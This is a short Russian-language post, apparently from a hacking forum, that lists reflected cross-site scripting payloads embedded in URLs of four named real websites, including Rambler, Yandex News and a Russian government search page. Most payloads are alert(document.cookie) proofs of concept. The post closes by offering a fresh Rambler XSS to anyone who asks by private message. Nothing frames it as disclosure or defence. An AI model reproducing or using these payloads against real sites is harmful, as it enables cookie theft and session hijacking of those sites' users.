завалявшееся:

http://smi.rambler.ru/main.cgi?action=<script>alert(document.cookie)</script>

http://news.yandex.ru/yandsearch?cl4url=www.utro.ru/news/2005/11/12/494551.shtml&country=Russia&cat="><script>alert(do cument.cookie)</script>

http://www.government.gov.ru/search/search.html?query="><script>alert('VectorG')</script>&page=1&book=0&he_id=38&pres_he_id=38

http://www.americasarmy.com/includes/bumper.php?goto="><script>alert()</script>

ещё есть новая xss на рамблер.ру, кому надо пишите в ПМ